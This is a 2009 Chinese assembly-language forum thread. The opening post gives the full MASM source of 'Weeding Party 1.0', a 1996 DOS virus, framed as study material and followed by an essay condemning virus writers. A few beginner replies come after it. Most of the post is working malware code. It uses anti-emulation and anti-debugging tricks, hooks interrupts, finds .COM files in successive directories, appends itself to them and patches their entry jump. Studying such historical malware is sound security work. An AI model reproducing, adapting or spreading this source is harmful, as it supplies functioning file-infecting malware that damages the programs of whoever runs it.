. : : Assembly Language : : .  |  首页  |  我提出的问题  |  我参与的问题  |  我的收藏  |  消息中心   |  游客  登录  | 
刷新 | 提问 | 未解决 | 已解决 | 精华区 | 搜索 |
  《汇编语言》论坛 ->内中断
  管理员: assembly   [回复本贴] [收藏本贴] [管理本贴] [关闭窗口]
主题 : :  发布一段病毒源码,旨在大家更好的坚定学习汇编语言的信心  [待解决] 回复[ 3次 ]   点击[ 763次 ]  
advancedprogrammer
[帖 主]   [ 发表时间:2009-08-14 07:42 ]   [引用]   [回复]   [ top ] 
荣誉值:2
信誉值:3
注册日期:2009-06-08 15:13
警告任何人勿用此代码编译,此源码只用于研究学习汇编语言之用,中国台湾Dark Judge所写
============================================================================
; This is source code of [ Weeding Party 1.0 ]
; Written by Dark Judge at Taiwan Tainan
; 1996.08.28

.286
WP10 SEGMENT
ASSUME CS:WP10,DS:WP10
ORG 100h
START:
DB 3 DUP (90h)
DB 0F0h
VIR_START:

CALL $+3
LOCATE:
XOR AX,AX
INT 11h
OR AX,AX
JNZ NO_PV
JMP OFFSET MSG

; 因为在 PV 的仿真环境之下,只有仿真部份的中断功能,而其它的中断都指向 iret
; 所以呼叫 INT 11h 之前先设 AX = 0, 呼叫后,若 AX 为 0 的话,则表示在 PV
; 的模拟环境之下, 就跳到一处非程序代码的地方

NO_PV:
INT 3 ;Anti-Trace
INC SP ;Anti-INT1
INC SP ;Anti-TBClean
MOV BP,SP ;
MOV SI,WORD PTR SS:[BP-2] ;
SUB SI,OFFSET LOCATE
PUSH SI
ADD SI,OFFSET FIRST_4_BYTE
MOV DI,100h
MOVSW
MOVSW
MOV AH,47h
SUB SI,OFFSET FIRST_4_BYTE+4
ADD SI,OFFSET OLD_PATH
XOR DL,DL
INT 21h
POP SI
PUSH DS
MOV AX,1203h
INT 2Fh
PUSH DS
POP ES
POP DS
CALL Trace_int_21h
MOV AX,352Ah
INT 21h
MOV WORD PTR OLD_INT2Ah[SI],BX
MOV WORD PTR OLD_INT2Ah+2[SI],ES
MOV AX,252Ah
LEA DX,Virus_Int_2Ah[SI]
CALL Virus_Int_21h
MOV AH,1Ah
LEA DX,VIR_DTA[SI]
INT 21h
Find_Next1:
MOV AH,4Eh
XOR CX,CX
LEA DX,ANY_COM[SI]
Find_Next:
CALL Virus_Int_21h
JC Change_Path
PUSH SI
MOV CX,8
LEA DI,VIR_DTA[SI+1Eh]
LEA SI,MAK_COMMAND[SI]
REP CMPSB
POP SI
MOV AH,4Fh
JZ Find_Next

MOV AX,3D00h
LEA DX,VIR_DTA[SI+1Eh]
CALL Virus_Int_21h

CALL Get_File_SFT

MOV WORD PTR ES:[DI+2],2
OR BYTE PTR ES:[DI+5],40h
MOV AL,BYTE PTR ES:[DI+4]
PUSH AX
MOV BYTE PTR ES:[DI+4],0

MOV AH,3Fh
MOV CX,4
LEA DX,FIRST_4_BYTE[SI]
CALL Virus_Int_21h

CMP BYTE PTR DS:FIRST_4_BYTE[SI+3],0F0h
JNE INFECT_IT

POP AX
MOV BYTE PTR ES:[DI+4],AL
MOV AH,3Eh
CALL Virus_Int_21h

MOV AH,4Fh
JMP Find_Next
Change_Path:
MOV AH,3Bh
LEA DX,NEW_PATH[SI]
INT 21h
JC VIR_DONE
JMP Find_Next1

VIR_DONE:
MOV AH,3Bh
LEA DX,OLD_PATH[SI]
INT 21h

MOV AH,1Ah
MOV DX,80h
INT 21h

MOV AX,252Ah
LDS DX,DWORD PTR OLD_INT2Ah[SI]
CALL Virus_Int_21h
PUSH CS
PUSH CS
POP DS
POP ES
MOV AH,2Ah
INT 21h
CMP DX,0701h
JNZ NO_SHOW
MOV AH,09h
LEA DX,MSG[SI]
INT 21h
NO_SHOW:
PUSH 100h
RET
INFECT_IT:
MOV AX,WORD PTR ES:[DI+11h]
MOV WORD PTR ES:[DI+15h],AX

SUB AX,3
MOV WORD PTR DS:JMP_BYTE[SI+1],AX

MOV AH,40h
MOV CX,VIR_SIZE
LEA DX,VIR_START[SI]
CALL Virus_Int_21h

MOV WORD PTR ES:[DI+15h],0

MOV AH,40h
MOV CX,4
LEA DX,JMP_AND_MARK[SI]
CALL Virus_Int_21h
CLOSE:
POP AX
MOV BYTE PTR ES:[DI+4],AL
MOV AH,3Eh
CALL Virus_Int_21h
JMP VIR_DONE

Trace_int_21h proc near
xor di,di
mov cx,3000h
mov ax,9090h
t_loop:
repnz scasw
jcxz exit_t
jnz exit_t
cmp word ptr es:[di],0CCE8h
jnz t_loop
cmp word ptr es:[di+3],0FF2Eh
jnz t_loop
mov di,es:[di+6]
les di,dword ptr es:[di]
cmp word ptr es:[di+23h],1E06h
jnz exit_t
add di,23h
mov word ptr old_int21h,di
mov word ptr old_int21h+2,es
ret
exit_t:
mov ax,3521h
int 21h
mov word ptr old_int21h,bx
mov word ptr old_int21h+2,es
ret
Trace_int_21h endp

Virus_Int_21h proc near
cli
pushf
call dword ptr cs:old_int21h
ret
Virus_Int_21h endp

Virus_Int_2Ah proc near
iret
Virus_Int_2Ah endp

Get_File_SFT proc near
XCHG BX,AX
PUSH BX
MOV AX,1220h
INT 2Fh
MOV AX,1216h
XOR BH,BH
MOV BL,ES:[DI]
INT 2Fh
POP BX
ret
Get_File_SFT endp

old_int21h DD ?
OLD_INT2Ah DD ?
OLD_PATH DW 40/2 DUP (0)
NEW_PATH DB '..',0
ANY_COM DB '*.COM',0
MAK_COMMAND DB 'COMMAND.'

FIRST_4_BYTE DB 0CDh,20h,?,?

JMP_AND_MARK LABEL WORD
JMP_BYTE DB 0E9h,?,?,0F0h

MSG DB 'This is Weeding Party 1.0 virus by Dark Judge '
DB 'in Tainan, Taiwan <R.O.C>', '$'
VIR_DTA DB ?
VIR_SIZE EQU $-OFFSET VIR_START

WP10 ENDS
END START

早在民国77年时, 我曾在倚天杂志、电子情报等发表过数篇防治病毒的文章,
但后来我放弃了, 因为我直觉到那是一个无底洞,
现在我庆幸当时作了明智的抉择!
现在,我的计算机没有安装任何防毒的软件, 但历经数年, 依然平安!
为什么呢?
因为我熟悉汇编语言和一些dos的功能呼叫!
纵有virus侵入我的计算机, 到目前为止还未能存活超过三天!!!
唉! 学低阶的汇编语言, 不是人人能通!
因为有virus时, 我的直觉很快便告诉我『好像该检查一下系统了!』
我只用debug便可把virus清除得干干净净!(当然要用汇编语言写一些disk I/O小程序)
这是凭经验, 无法明言!

我很沈痛的说:
今天的virus写作者若不是心理变态, 便是利欲熏心的丧心病狂者!!!
这些人挑上了一般计算机使用者, 大多不懂汇编语言和系统核心,
挑软的好欺负,满足了自己的虐待变态心理, 顺便造福(虐待)了防毒写作者!
败坏天良至极啊!!!

唉! 学低阶的汇编语言, 不是人人能通!
拜托病毒写作者不要再自作孽了,(我深信这些人也常阅览此板)
=======================================================================
891204dh
[第1楼]   [ 回复时间:2009-08-27 02:33 ]   [引用]   [回复]   [ top ] 
荣誉值:2
信誉值:0
注册日期:2009-04-08 06:33
这病毒是干嘛的?
fyjava
[第2楼]   [ 回复时间:2009-11-03 00:30 ]   [引用]   [回复]   [ top ] 
荣誉值:4
信誉值:0
注册日期:2008-12-24 23:48
看不懂 暂时不准备碰它 以后学好了再研究
auty95
[第3楼]   [ 回复时间:2009-11-06 15:21 ]   [引用]   [回复]   [ top ] 
荣誉值:2
信誉值:0
注册日期:2009-10-09 11:42
286的啊~~~~~我现在才学8086  差远着呢
需要登录后才能回帖 -->> 请单击此处登录
    Copyright © 2006-2024   ASMEDU.NET  All Rights Reserved